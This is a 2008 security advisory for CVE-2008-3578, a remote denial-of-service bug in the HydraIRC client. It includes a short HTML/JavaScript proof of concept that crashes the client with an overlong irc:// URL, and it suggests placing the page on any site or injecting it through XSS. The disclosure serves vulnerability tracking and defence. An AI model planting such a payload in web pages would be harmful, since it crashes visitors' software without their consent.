HydraIrc <= 0.3.164 (last) Remote Denial of Service Exploit
SecurityAlert : 4126 CVE : CVE-2008-3578 CWE : CWE-20 SecurityRisk : Medium (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Available : Yes Credit : Anonymous Published : 12.08.2008
Affected Software :
HydraIRC, HydraIRC
Advisory Content :
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# Vendor : http://www.hydrairc.com/
# Remote : Yes
# Impact : Remote crash
# Bug : Null Pointer Dereference
# Working on : all browsers
#
# Include this in any webpage or xss & see it with any browser , wait
~15sec, and boom.
#
# PoC :
#
<html>
<head> <title>HydraIRC Remote Denial Of Service Poc </title></head>
<body>
<script>
var site = 'irc://127.0.0.1/'
var buf = 'A';
while (buf.length <= 560) buf = buf + 'A';
document.location.href=site +buf
</script>
</body>
</html>
References :
http://www.securityfocus.com/bid/30523
http://www.milw0rm.com/exploits/6201
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